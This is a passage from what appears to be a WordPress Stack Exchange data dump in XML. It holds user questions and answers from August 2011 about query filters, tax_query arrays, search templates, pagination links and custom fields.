but since I do not know your specific context, this will work for most situations.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-22T04:11:23.610" CommentCount="2" />
  <row Id="26527" PostTypeId="2" ParentId="26468" CreationDate="2011-08-22T04:20:19.853" Score="1" ViewCount="" Body="&lt;p&gt;Another crude way of investigating the &quot;unexpected output&quot; error is to execute &lt;code&gt;exit()&lt;/code&gt; on line 1569 of wp-admin/includes/upgrade.php. It is called at the end of the dbDelta function, which will allow you to see the output that was generated and quickly fix the problem, assuming the problem is with dbDelta. I've had difficulties similar to your when I had something going wrong with the SQL for the dbDelta function and this strategy helped debug it. It's not the greatest solution, but it can help in some situations.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-22T04:20:19.853" />
  <row Id="26528" PostTypeId="2" ParentId="25057" CreationDate="2011-08-22T04:23:12.227" Score="0" ViewCount="" Body="&lt;p&gt;Alternately, you could break the two queries into five (depending on how you're getting your conditions, it might even be easier to code).   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be interesting to know whether there's any performance difference between the two constructions. &lt;em&gt;(@Frank Martin, or anyone, it would be great if you could share the actual SQL generated each way - I set this answer as a community wiki.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[tax_query] =&amp;gt; Array&#xA;(&#xA;    [relation] =&amp;gt; AND&#xA;    [0] =&amp;gt; Array&#xA;        (&#xA;            [taxonomy] =&amp;gt; services&#xA;            [field] =&amp;gt; term_id&#xA;            [terms] =&amp;gt; Array&#xA;                (&#xA;                    [0] =&amp;gt; 3&#xA;                )&#xA;&#xA;            [operator] =&amp;gt; IN&#xA;        )&#xA;    [1] =&amp;gt; Array&#xA;        (&#xA;            [taxonomy] =&amp;gt; services&#xA;            [field] =&amp;gt; term_id&#xA;            [terms] =&amp;gt; Array&#xA;                (&#xA;                    [0] =&amp;gt; 10&#xA;                )&#xA;&#xA;            [operator] =&amp;gt; IN&#xA;        )&#xA;    [2] =&amp;gt; Array&#xA;        (&#xA;            [taxonomy] =&amp;gt; services&#xA;            [field] =&amp;gt; term_id&#xA;            [terms] =&amp;gt; Array&#xA;                (&#xA;                    [0] =&amp;gt; 6&#xA;                )&#xA;&#xA;            [operator] =&amp;gt; IN&#xA;        )&#xA;    [3] =&amp;gt; Array&#xA;        (&#xA;            [taxonomy] =&amp;gt; services&#xA;            [field] =&amp;gt; term_id&#xA;            [terms] =&amp;gt; Array&#xA;                (&#xA;                    [0] =&amp;gt; 9&#xA;                )&#xA;&#xA;            [operator] =&amp;gt; IN&#xA;        )&#xA;&#xA;    [4] =&amp;gt; Array&#xA;        (&#xA;            [taxonomy] =&amp;gt; awards&#xA;            [field] =&amp;gt; term_id&#xA;            [terms] =&amp;gt; Array&#xA;                (&#xA;                    [0] =&amp;gt; 13&#xA;                )&#xA;&#xA;            [operator] =&amp;gt; IN&#xA;        )&#xA;    [5] =&amp;gt; Array&#xA;        (&#xA;            [taxonomy] =&amp;gt; awards&#xA;            [field] =&amp;gt; term_id&#xA;            [terms] =&amp;gt; Array&#xA;                (&#xA;                    [0] =&amp;gt; 12&#xA;                )&#xA;&#xA;            [operator] =&amp;gt; IN&#xA;        )&#xA;&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I discovered while working through my recent advanced taxonomy query question, &lt;a href=&quot;http://wordpress.stackexchange.com/questions/25999/how-to-pass-url-parameters-for-advanced-taxonomy-queries-with-multiple-terms-for/26011#26011&quot;&gt;How to pass URL parameters for advanced taxonomy queries with multiple terms for one custom taxonomy&lt;/a&gt; WP will do just that (at least under 3.1.4) if you pass the query through the URL.&lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2011-08-22T04:23:12.227" CommunityOwnedDate="2011-08-22T04:23:12.227" />
  <row Id="26529" PostTypeId="2" ParentId="26102" CreationDate="2011-08-22T04:46:03.250" Score="0" ViewCount="" Body="&lt;p&gt;Okay, well, I've found &lt;a href=&quot;http://themeforest.net/category/wordpress&quot; rel=&quot;nofollow&quot;&gt;http://themeforest.net/category/wordpress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details on each theme include:&#xA;Compatible browsers&#xA;WordPress version&#xA;Documentation detail&#xA;Layout type&#xA;Types of source files included&#xA;Widget ready&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks pretty good to me. Will give it a try.&lt;/p&gt;&#xA;" OwnerUserId="2907" LastActivityDate="2011-08-22T04:46:03.250" />
  <row Id="26530" PostTypeId="2" ParentId="25899" CreationDate="2011-08-22T04:53:30.080" Score="0" ViewCount="" Body="&lt;p&gt;I found a way to make this work. I was right with the thought that &lt;code&gt;pre_get_posts&lt;/code&gt; was the way to go. First, I added an action:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Filter the search page&#xA;add_filter('pre_get_posts', 'search_pre_get_posts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I added the function. This function first checks that the context is correct. In my custom search form, I use a nonce. The nonce helps me verify that it's my custom search that is being run, not the built in search. I then manipulate the query variables that will be sent to the query. I'm showing my full function here, which includes all of the validation and sanitization of variables, as well as how the query is manipulated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Filters for search of events&#xA; *&#xA; * When a search is initiated, this filter will check to see if it is an&#xA; * event search. If so, it will process the search data associated with&#xA; * event searches and add it to the $query object prior to it being used&#xA; * to query the database.&#xA; *&#xA; * @param $query The query object generated for this page&#xA; * @return void&#xA; */&#xA;function search_pre_get_posts($query)&#xA;{&#xA;    // Verify that we are on the search page that that this came from the event search form&#xA;    if($query-&amp;gt;query_vars['s'] != '' &amp;amp;&amp;amp; is_search() &amp;amp;&amp;amp; isset($_GET['prefix-submitted']) &amp;amp;&amp;amp; $_GET['prefix-submitted'] &amp;amp;&amp;amp; wp_verify_nonce($_GET['prefix-search-nonce'], 'prefix-search'))&#xA;    {&#xA;        // Always order by date&#xA;        $query-&amp;gt;set('orderby', 'meta_value');&#xA;        $query-&amp;gt;set('order', 'ASC');&#xA;        $query-&amp;gt;set('meta_key', '_datetime-from');&#xA;&#xA;        // Set the text string for the search&#xA;        $clean_text = (isset($_GET['prefix-text'])) ? wp_strip_all_tags($_GET['prefix-text']) : '';&#xA;        $query-&amp;gt;set('s', $clean_text);&#xA;&#xA;        // Validate dates&#xA;        $clean_from = (isset($_GET['prefix-from'])) ? $this-&amp;gt;handle_date($_GET['prefix-from']) : false;&#xA;        $clean_to = (isset($_GET['prefix-to'])) ? $this-&amp;gt;handle_date($_GET['prefix-to']) : false;&#xA;&#xA;        // Validate taxonomies&#xA;        $clean_type = (isset($_GET['prefix-type'])) ? $this-&amp;gt;handle_taxonomy_id($_GET['prefix-type'], 'prefix-type') : false;&#xA;        $clean_location = (isset($_GET['prefix-location'])) ? $this-&amp;gt;handle_taxonomy_id($_GET['prefix-location'], 'prefix-location') : false;&#xA;&#xA;        // Build meta_query variable based on date pieces&#xA;        if($clean_from &amp;amp;&amp;amp; $clean_to)&#xA;        {&#xA;            $meta_query = array(&#xA;                array(&#xA;                    'key' =&amp;gt; '_datetime-from',&#xA;                    'value' =&amp;gt; array($clean_from, $clean_to),&#xA;                    'compare' =&amp;gt; 'BETWEEN',&#xA;                    'type' =&amp;gt; 'DATE'&#xA;                )&#xA;            );&#xA;        }&#xA;        elseif($clean_from)&#xA;        {&#xA;            $meta_query = array(&#xA;                array(&#xA;                    'key' =&amp;gt; '_datetime-from',&#xA;                    'value' =&amp;gt; $clean_from,&#xA;                    'compare' =&amp;gt; '&amp;gt;=',&#xA;                    'type' =&amp;gt; 'DATE'&#xA;                )&#xA;            );&#xA;        }&#xA;        elseif($clean_to)&#xA;        {&#xA;            $meta_query = array(&#xA;                array(&#xA;                    'key' =&amp;gt; '_datetime-from',&#xA;                    'value' =&amp;gt; $clean_from,&#xA;                    'compare' =&amp;gt; '&amp;gt;=',&#xA;                    'type' =&amp;gt; 'DATE'&#xA;                )&#xA;            );&#xA;        }&#xA;        else&#xA;            $meta_query = '';&#xA;&#xA;        // Set the meta query&#xA;        $query-&amp;gt;set('meta_query', $meta_query);&#xA;&#xA;        // Build tax query based on taxonomy pieces&#xA;        if($clean_type &amp;amp;&amp;amp; $clean_location)&#xA;        {&#xA;            $tax_query = array(&#xA;                'relation' =&amp;gt; 'AND',&#xA;                array(&#xA;                    'taxonomy' =&amp;gt; 'prefix-type',&#xA;                    'field' =&amp;gt; 'id',&#xA;                    'terms' =&amp;gt; $clean_type,&#xA;                    'operator' =&amp;gt; 'IN'&#xA;                ),&#xA;                array(&#xA;                    'taxonomy' =&amp;gt; 'prefix-location',&#xA;                    'field' =&amp;gt; 'id',&#xA;                    'terms' =&amp;gt; $clean_location,&#xA;                    'operator' =&amp;gt; 'IN'&#xA;                )&#xA;            );&#xA;        }&#xA;        elseif($clean_type)&#xA;        {&#xA;            $tax_query = array(&#xA;                array(&#xA;                    'taxonomy' =&amp;gt; 'prefix-type',&#xA;                    'field' =&amp;gt; 'id',&#xA;                    'terms' =&amp;gt; $clean_type,&#xA;                    'operator' =&amp;gt; 'IN'&#xA;                )&#xA;            );&#xA;        }&#xA;        elseif($clean_location)&#xA;        {&#xA;            $tax_query = array(&#xA;                array(&#xA;                    'taxonomy' =&amp;gt; 'prefix-location',&#xA;                    'field' =&amp;gt; 'id',&#xA;                    'terms' =&amp;gt; $clean_location,&#xA;                    'operator' =&amp;gt; 'IN'&#xA;                )&#xA;            );&#xA;        }&#xA;        else&#xA;            $tax_query = '';&#xA;&#xA;        // Set the tax query&#xA;        $query-&amp;gt;set('tax_query', $tax_query);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-22T04:53:30.080" />
  <row Id="26531" PostTypeId="1" CreationDate="2011-08-22T05:29:39.740" Score="-1" ViewCount="19" Body="&lt;p&gt;i just have upgraded the Wordpress theme from flexsqueeze 1.4.0 to flexsqueeze 1.5.0. but after changing theme the top feature area lost.and could not get that content even after migrated the settings.can anyone help me on this topic.&lt;/p&gt;&#xA;" OwnerUserId="7199" LastActivityDate="2011-08-22T05:29:39.740" Title="top feature area in flexsqueeze theme is not working" Tags="&lt;themes&gt;" />
  <row Id="26532" PostTypeId="1" CreationDate="2011-08-22T05:58:41.877" Score="0" ViewCount="23" Body="&lt;p&gt;I've been stumped for days wondering why when I submit an empty string as a search term, it redirects to part of &lt;code&gt;loop.php&lt;/code&gt; where I have the following code inserted:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php /* If there are no posts to display, such as an empty archive page */ ?&amp;gt;&#xA;&amp;lt;?php if ( !(have_posts()) &amp;amp;&amp;amp; !(is_search()) ) : ?&amp;gt;&#xA;    &amp;lt;h1 class=&quot;notfound-header&quot;&amp;gt;&amp;lt;?php _e( 'Not Found', 'twentyten' ); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;p class=&quot;notfound-content&quot;&amp;gt;&amp;lt;?php _e( 'Apologies, but no results were found.', 'twentyten' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php elseif ( !(have_posts()) &amp;amp;&amp;amp; (is_search()) ): ?&amp;gt;&#xA;    &amp;lt;h1 class=&quot;notfound-header-search&quot;&amp;gt;&amp;lt;?php _e( 'Not Found Search', 'twentyten' ); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;p class=&quot;notfound-content-search&quot;&amp;gt;&amp;lt;?php _e( 'Apologies, but no results were found.', 'twentyten' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php get_search_form(); ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm probably not including the &lt;code&gt;is_search()&lt;/code&gt; correctly.  But I'm working on this site: &lt;a href=&quot;http://www.cirkut.net/wp/libertyguide&quot; rel=&quot;nofollow&quot;&gt;http://www.cirkut.net/wp/libertyguide&lt;/a&gt; and I want to show the search form when nothing is submitted (i.e. just clicking search from the homepage).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas as to what to do?  Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="7457" LastActivityDate="2011-08-22T06:11:23.860" Title="Change loop.php for empty search customization" Tags="&lt;search&gt;&lt;404-error&gt;" AnswerCount="1" />
  <row Id="26533" PostTypeId="2" ParentId="23700" CreationDate="2011-08-22T06:02:24.887" Score="0" ViewCount="" Body="&lt;p&gt;Hopefully you've figured this out by now, but if you haven't you should be able to use the &quot;posts_orderby&quot; filter to dial in a specific order for your query. I'm not going to give a full solution here, but you can refer to this post for more: &lt;a href=&quot;http://mitcho.com/blog/how-to/external-orders-in-wordpress-queries/&quot; rel=&quot;nofollow&quot;&gt;http://mitcho.com/blog/how-to/external-orders-in-wordpress-queries/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-22T06:02:24.887" />
  <row Id="26534" PostTypeId="2" ParentId="26532" CreationDate="2011-08-22T06:11:23.860" Score="0" ViewCount="" Body="&lt;p&gt;When doing a search with an empty string, WordPress will not do a search and therefore your search page will not be used. Within the &lt;code&gt;$wp_query&lt;/code&gt;, a parameter, simply named &lt;code&gt;s&lt;/code&gt;, represents the search term. If it has a value of &lt;code&gt;''&lt;/code&gt;, WordPress does not direct this to the search page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for how you can direct this to the empty search page, I am not sure. I know you could use &lt;code&gt;pre_get_posts&lt;/code&gt; to set the &lt;code&gt;s&lt;/code&gt; parameter, but that is likely a very hacky/sloppy solution, so hopefully others will be able to help you out with that part.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-22T06:11:23.860" CommentCount="1" />
  <row Id="26536" PostTypeId="2" ParentId="15546" CreationDate="2011-08-22T06:28:00.323" Score="0" ViewCount="" Body="&lt;p&gt;Before anything, thank you very much Bainternet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just wanted to add that to read the post variables, using Bainternet's solution, you'll have to parse the string in $_POST['form_data'] using PHP parse_str function (just to save you some research time).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$vars = parse_str( $_POST['form_data'] );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can access each variable just using $varname. For example, if you have a meta field called &quot;my_meta&quot; you would access it like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$vars = parse_str ( $_POST['form_data'] ) &#xA;if ( $my_meta == &quot;something&quot; ) { // do something }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8094" LastActivityDate="2011-08-22T06:28:00.323" />
  <row Id="26537" PostTypeId="1" AcceptedAnswerId="26622" CreationDate="2011-08-22T07:50:17.520" Score="0" ViewCount="35" Body="&lt;p&gt;Customer asks if a specific carousel plugin he uses can be widgetized. That means i should create a widget inside functions.php which calls the plugin's function. That means that the plugin's code has to be loaded first so taht the function be available to wordpress when the functions.php file is loaded, right?&#xA;Would that work?&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2011-08-23T00:07:49.710" Title="Between functions.php, widgets and plugins, which is loaded first?" Tags="&lt;plugins&gt;&lt;functions&gt;&lt;widgets&gt;" AnswerCount="2" />
  <row Id="26538" PostTypeId="1" CreationDate="2011-08-22T07:32:57.380" Score="1" ViewCount="47" Body="&lt;p&gt;I'm trying to make a layered wordpress menu, out of categories. &lt;a href=&quot;http://i.imgur.com/Wi9Gw.png&quot; rel=&quot;nofollow&quot;&gt;Here's how it's going to look&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/CScKS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no clue how to develop this, can't do it with &lt;code&gt;get_posts&lt;/code&gt; (not sortable by parent/children), or &lt;code&gt;wp_list_categories&lt;/code&gt; (can't pull thumbnails). Also, I have to assign thumbnails to categories somehow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to implement something like this with wordpress?&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-08-22T08:08:27.610" LastActivityDate="2011-08-22T10:26:17.917" Title="Implementing a tricky wordpress menu (nested categories + thumbnails)" Tags="&lt;categories&gt;&lt;php&gt;&lt;menus&gt;&lt;thumbnails&gt;" AnswerCount="2" />
  <row Id="26539" PostTypeId="1" AcceptedAnswerId="26541" CreationDate="2011-08-22T08:09:48.473" Score="0" ViewCount="14" Body="&lt;p&gt;I wish to use a function which is run only when a specific custom field is available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (custom_field_x_exists(&quot;name_of_the_custom_field&quot;)) :&#xA;                       &amp;lt;Do some things&amp;gt;;&#xA;        endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How might it be done?&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2011-08-22T08:28:47.393" Title="Using an &quot;IF&quot; statement based on the existence of custom field" Tags="&lt;php&gt;&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="26540" PostTypeId="1" AcceptedAnswerId="26543" CreationDate="2011-08-22T08:26:59.007" Score="0" ViewCount="16" Body="&lt;p&gt;&lt;a href=&quot;http://i.stack.imgur.com/Yr35p.jpg&quot; rel=&quot;nofollow&quot;&gt;http://i.stack.imgur.com/Yr35p.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see in the picture above. I got two links for each page.&#xA;I'm using &lt;code&gt;&amp;lt;div class=&quot;pagelink&quot;&amp;gt;&amp;lt;?php wp_link_pages('pagelink=Source %'); ?&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&#xA;for the top one and the bottom one is automatically appearing because of &lt;code&gt;&amp;lt;!--nextpage--&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I remove the links in the bottom. If I remove &lt;code&gt;&amp;lt;!--nextpage--&amp;gt;&lt;/code&gt; the top one will dissapear as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: My single.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;content_box&quot;&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;left_box&quot;&amp;gt;&#xA;&#xA;            &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;&#xA;                &amp;lt;div id=&quot;content_inner&quot;&amp;gt;&#xA;&amp;lt;?php &#xA;                if (have_posts()) : &#xA;                    while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;                    &amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;                    &amp;lt;p class=&quot;post_author&quot;&amp;gt;&amp;lt;em&amp;gt;by&amp;lt;/em&amp;gt; &amp;lt;?php the_author(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;div class=&quot;pagelink&quot;&amp;gt;&amp;lt;?php wp_link_pages('pagelink=Source %'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;format_text&quot;&amp;gt;&#xA;&amp;lt;?php the_content('&amp;lt;p&amp;gt;Read the rest of this entry &amp;amp;raquo;&amp;lt;/p&amp;gt;'); ?&amp;gt;&#xA;&amp;lt;?php link_pages('&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Pages:&amp;lt;/strong&amp;gt; ', '&amp;lt;/p&amp;gt;', 'number'); ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;?php comments_template(); ?&amp;gt;&#xA;&amp;lt;?php &#xA;                    endwhile;&#xA;                else: ?&amp;gt;&#xA;&#xA;                    &amp;lt;h1&amp;gt;Uh oh.&amp;lt;/h1&amp;gt;&#xA;                    &amp;lt;div class=&quot;format_text&quot;&amp;gt;&#xA;                        &amp;lt;p&amp;gt;Sorry, no posts matched your criteria. Wanna search instead?&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php include (TEMPLATEPATH . '/searchform.php'); ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php &#xA;                endif; ?&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;?php include (TEMPLATEPATH . '/left_bar.php')?&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My theme is: Neoclassical&lt;/p&gt;&#xA;" OwnerUserId="5031" LastEditorUserId="5031" LastEditorDisplayName="" LastEditDate="2011-08-22T08:41:01.840" LastActivityDate="2011-08-22T08:54:54.097" Title="Getting two wp_link_pages output" Tags="&lt;loop&gt;&lt;wp-link-pages&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="26541" PostTypeId="2" ParentId="26539" CreationDate="2011-08-22T08:28:47.393" Score="1" ViewCount="" Body="&lt;p&gt;I think this should help&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( get_post_meta( $post-&amp;gt;ID, 'name_of_the_custom_field', true ) ) :&#xA;    // Do something&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="888" LastActivityDate="2011-08-22T08:28:47.393" CommentCount="2" />
  <row Id="26542" PostTypeId="1" AcceptedAnswerId="26547" CreationDate="2011-08-22T08:51:02.790" Score="0" ViewCount="21" Body="&lt;p&gt;I'm using the bbpress plugin. It has a custom post type called &lt;strong&gt;forums&lt;/strong&gt;. I used to sort posts by changing its publishing date. But you can't do that with this custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-08-22T09:29:07.467" Title="What's an easy way of sorting custom post types manually?" Tags="&lt;custom-post-types&gt;&lt;sort&gt;" AnswerCount="1" />
  <row Id="26543" PostTypeId="2" ParentId="26540" CreationDate="2011-08-22T08:54:54.097" Score="0" ViewCount="" Body="&lt;p&gt;Your theme is using old and deprecated function &lt;code&gt;link_pages&lt;/code&gt; to display page-links for paginated posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just replace this chunk of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;pagelink&quot;&amp;gt;&amp;lt;?php wp_link_pages('pagelink=Source %'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;format_text&quot;&amp;gt;&#xA;&amp;lt;?php the_content('&amp;lt;p&amp;gt;Read the rest of this entry &amp;amp;raquo;&amp;lt;/p&amp;gt;'); ?&amp;gt;&#xA;&amp;lt;?php link_pages('&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Pages:&amp;lt;/strong&amp;gt; ', '&amp;lt;/p&amp;gt;', 'number'); ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                    &amp;lt;div class=&quot;format_text&quot;&amp;gt;&#xA;&amp;lt;?php the_content('&amp;lt;p&amp;gt;Read the rest of this entry &amp;amp;raquo;&amp;lt;/p&amp;gt;'); ?&amp;gt;&#xA;&amp;lt;?php wp_link_pages( array( 'before' =&amp;gt; '&amp;lt;div class=&quot;page-link&quot;&amp;gt;Pages:', 'after' =&amp;gt; '&amp;lt;/div&amp;gt;', 'pagelink' =&amp;gt; 'Source %' ) ); ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="888" LastActivityDate="2011-08-22T08:54:54.097" CommentCount="3" />
  <row Id="26544" PostTypeId="2" ParentId="16321" CreationDate="2011-08-22T09:02:10.440" Score="0" ViewCount="" Body="&lt;p&gt;From a development point of view (and as i wrote &lt;a href=&quot;http://pixeline.be/blog/development/extending-wordpress-widgets-plugins-or-functions-php-808.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;) you should consider whether:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the feature should be actionable or not via the wp-admin interface &gt; widget if yes&lt;/li&gt;&#xA;&lt;li&gt;the feature is a permanent functionality or if it will be used on a temporary basis &gt; widget if no&lt;/li&gt;&#xA;&lt;li&gt;layoutwise, the feature's frontend display should be moveable around the interface &gt; widget if yes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="82" LastActivityDate="2011-08-22T09:02:10.440" />
  <row Id="26545" PostTypeId="1" CreationDate="2011-08-22T09:04:08.963" Score="0" ViewCount="5" Body="&lt;p&gt;I googled, read this forum, tried wordpress help, but to no avail. I got my function form function reference in worpdress codex and compared it to other functions. I can't find a reason for this to happen. It guess it's related to something elkse in my code, but everything seems to run fine. Probably very silly reason. Can you pelase help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is my code. It is executed when a new event is created here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'save_post', 'save_custom_event_data' );&#xA;function save_custom_event_data( $post_id ) { &#xA;    [global $wpdb]&#xA;    [saving data to custom table 1]&#xA;    [saving data to custom table 2]&#xA;    [sending email by mail-function]&#xA;&#xA;&#xA;    //Add parent to this page: the ID of the parent is in the options table (option name = calendar_page_id)).&#xA;    $my_new_event = array(&#xA;       'ID' =&amp;gt; $event_post_id,&#xA;       'post_parent' =&amp;gt; get_option('calendar_page_id')&#xA;    );&#xA;    wp_update_post(my_new_event);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The array contains two integers, as expected. The event_post_id is the id of the post being curently created/updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i run the code, i get a popup telling me i have chosen to open post.php. I can either save or open it. This is unexpected behaviour. Anyone any idea why this is happening? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&#xA;Kim&lt;/p&gt;&#xA;" OwnerUserId="8098" LastActivityDate="2011-08-22T09:04:08.963" Title="wp_update_post triggers 'want to open post.php?'-box" Tags="&lt;wp-update-post&gt;" CommentCount="1" />
  <row Id="26546" PostTypeId="1" CreationDate="2011-08-22T09:20:29.777" Score="0" ViewCount="9" Body="&lt;p&gt;I'm currently building a simple intranet powered by wordpress. I need to show the stats (most read articles, user logins, etc..) to the administrator, but I can't use google analytics as the install is on a VPN without internet access. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know any reliable plugin to record and show stats on a local install of wordpress?&lt;/p&gt;&#xA;" OwnerUserId="2119" LastActivityDate="2011-08-24T05:02:36.347" Title="Stats for a wp powered intranet" Tags="&lt;stats&gt;&lt;local-installation&gt;&lt;plugin-stats&gt;" AnswerCount="1" />
  <row Id="26547" PostTypeId="2" ParentId="26542" CreationDate="2011-08-22T09:29:07.467" Score="1" ViewCount="" Body="&lt;p&gt;i used this code to create custom post template for specific post type&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define(SINGLE_PATH, TEMPLATEPATH.'/single');    &#xA;function product_single_page_template($product) {&#xA;        global $wp_query, $post;&#xA;        $type = get_post_type();&#xA;        if ($type==true) &#xA;            if(file_exists(SINGLE_PATH . '-type-' . $type . '.php'))&#xA;            return SINGLE_PATH . '-type-' . $type . '.php';&#xA;        return $product;&#xA;}&#xA;add_filter('single_template', 'product_single_page_template');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can do the same with categories or for non single pages just as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope this helps&lt;br&gt;&#xA;a&lt;/p&gt;&#xA;" OwnerUserId="8099" LastActivityDate="2011-08-22T09:29:07.467" />
